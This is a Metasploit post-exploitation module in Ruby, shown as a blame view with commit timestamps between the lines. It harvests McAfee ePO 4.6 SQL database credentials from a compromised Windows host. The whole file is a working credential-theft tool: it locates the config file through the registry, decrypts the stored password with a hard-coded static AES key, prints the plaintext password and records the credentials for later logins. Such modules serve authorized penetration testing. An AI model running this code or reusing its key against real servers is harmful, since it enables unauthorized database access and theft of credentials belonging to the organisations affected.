metasploit-framework/modules/post/windows/gather/credentials/epo_sql.rb

177 lines
6.1 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
2015-05-18 10:20:42 +00:00
require 'net/dns/resolver'
2012-10-23 18:24:05 +00:00
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
2013-08-30 21:28:54 +00:00
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
2013-08-30 21:28:54 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather McAfee ePO 4.6 Config SQL Credentials',
'Description' => %q{
This module extracts connection details and decrypts the saved password for the
SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a
config file. They are encrypted with AES-128-ECB and a static key.
},
'License' => MSF_LICENSE,
'Author' => ['Nathan Einwechter <neinwechter[at]gmail.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
2013-08-30 21:28:54 +00:00
def run
# Find out where things are installed
2015-05-18 10:20:42 +00:00
print_status('Finding Tomcat install path...')
2015-05-18 14:33:57 +00:00
subkeys = registry_enumkeys('HKLM\Software\Network Associates\ePolicy Orchestrator',REGISTRY_VIEW_32_BIT)
2015-05-18 08:19:32 +00:00
if subkeys.nil? or subkeys.empty?
2015-05-18 10:20:42 +00:00
print_error ('ePO 4.6 Not Installed or No Permissions to RegKey')
2013-08-30 21:28:54 +00:00
return
end
# Get the db.properties file location
2015-05-18 14:33:57 +00:00
epol_reg_key = 'HKLM\Software\Network Associates\ePolicy Orchestrator'
2015-05-18 10:20:42 +00:00
dbprops_file = registry_getvaldata(epol_reg_key, 'TomcatFolder',REGISTRY_VIEW_32_BIT)
if dbprops_file == nil or dbprops_file == ''
print_error('Could not find db.properties file location')
2015-05-18 08:19:32 +00:00
else
2015-05-18 10:20:42 +00:00
dbprops_file << '/conf/orion/db.properties';
print_good('Found db.properties location');
2015-05-18 08:19:32 +00:00
process_config(dbprops_file);
2013-08-30 21:28:54 +00:00
end
end
2013-08-30 21:28:54 +00:00
def process_config(filename)
config = client.fs.file.new(filename, 'r')
print_status("Processing #{filename}")
contents = config.read
config_lines = contents.split("\n")
for line in config_lines
line.chomp
line_array = line.split('=')
case line_array[0]
2015-05-18 10:20:42 +00:00
when 'db.database.name'
database_name = ''
2013-08-30 21:28:54 +00:00
line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 }
2015-05-18 10:20:42 +00:00
when 'db.instance.name'
database_instance = ''
2013-08-30 21:28:54 +00:00
line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 }
2015-05-18 10:20:42 +00:00
when 'db.user.domain'
user_domain = ''
2013-08-30 21:28:54 +00:00
line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 }
2015-05-18 10:20:42 +00:00
when 'db.user.name'
user_name = ''
2013-08-30 21:28:54 +00:00
line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 }
2015-05-18 10:20:42 +00:00
when 'db.port'
port = ''
2013-08-30 21:28:54 +00:00
line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 }
2015-05-18 10:20:42 +00:00
when 'db.user.passwd.encrypted.ex'
2013-08-30 21:28:54 +00:00
# ePO 4.6 encrypted password
2015-05-18 10:20:42 +00:00
passwd = ''
2013-08-30 21:28:54 +00:00
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
2015-05-18 10:20:42 +00:00
passwd.gsub('\\','')
2013-08-30 21:28:54 +00:00
# Add any Base64 padding that may have been stripped out
2015-05-18 10:20:42 +00:00
passwd << '=' until ( passwd.length % 4 == 0 )
2013-08-30 21:28:54 +00:00
plaintext_passwd = decrypt46(passwd)
2015-05-18 10:20:42 +00:00
when 'db.user.passwd.encrypted'
2013-08-30 21:28:54 +00:00
# ePO 4.5 encrypted password - not currently supported, see notes below
2015-05-18 10:20:42 +00:00
passwd = ''
2013-08-30 21:28:54 +00:00
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
2015-05-18 10:20:42 +00:00
passwd.gsub('\\','')
2013-08-30 21:28:54 +00:00
# Add any Base64 padding that may have been stripped out
2015-05-18 10:20:42 +00:00
passwd << '=' until ( passwd.length % 4 == 0 )
plaintext_passwd = 'PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP'
when 'db.server.name'
database_server_name = ''
2013-08-30 21:28:54 +00:00
line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 }
end
end
2013-08-30 21:28:54 +00:00
# resolve IP address for creds reporting
2013-09-24 20:58:04 +00:00
result = client.net.resolve.resolve_host(database_server_name)
if result[:ip].nil? or result[:ip].empty?
2015-05-18 10:20:42 +00:00
print_error('Could not determine IP of DB - credentials not added to report database')
2013-08-30 21:28:54 +00:00
return
end
2013-09-24 20:58:04 +00:00
db_ip = result[:ip]
2013-08-30 21:28:54 +00:00
print_good("SQL Server: #{database_server_name}")
print_good("SQL Instance: #{database_instance}")
print_good("Database Name: #{database_name}")
if db_ip
print_good("Database IP: #{db_ip}")
end
print_good("Port: #{port}")
2015-05-18 10:20:42 +00:00
if user_domain == nil or user_domain == ''
print_good('Authentication Type: SQL');
2013-08-30 21:28:54 +00:00
full_user = user_name
else
2015-05-18 10:20:42 +00:00
print_good('Authentication Type: Domain');
2013-08-30 21:28:54 +00:00
print_good("Domain: #{user_domain}");
full_user = "#{user_domain}\\#{user_name}"
end
print_good("User: #{full_user}")
print_good("Password: #{plaintext_passwd}")
2013-08-30 21:28:54 +00:00
if (db_ip)
# submit to reports
2014-06-12 18:23:11 +00:00
service_data = {
address: Rex::Socket.getaddress(db_ip),
port: port,
2015-05-18 10:20:42 +00:00
protocol: 'tcp',
service_name: 'mssql',
2014-06-12 18:23:11 +00:00
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
username: full_user,
private_data: plaintext_passwd,
private_type: :password
}
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
2015-05-18 10:20:42 +00:00
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
2014-06-12 18:23:11 +00:00
}
create_credential_login(login_data.merge(service_data))
2015-05-18 10:20:42 +00:00
print_good('Added credentials to report database')
2013-08-30 21:28:54 +00:00
else
2015-05-18 10:20:42 +00:00
print_error('Could not determine IP of DB - credentials not added to report database')
2013-08-30 21:28:54 +00:00
end
end
2013-08-30 21:28:54 +00:00
def decrypt46(encoded)
encrypted_data = Rex::Text.decode_base64(encoded)
2015-05-18 10:20:42 +00:00
aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB')
2013-08-30 21:28:54 +00:00
aes.padding = 0
aes.decrypt
# Private key extracted from ePO 4.6.0 Build 1029
# If other keys are required for other versions of 4.6 - will have to add version
# identification routines in to the main part of the module
key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ]
aes.key = key.pack('C*')
password = aes.update(encrypted_data) + aes.final
# Get rid of all the crazy \f's that result
password.gsub!(/[^[:print:]]/,'')
return password
end
2015-05-18 20:46:55 +00:00
end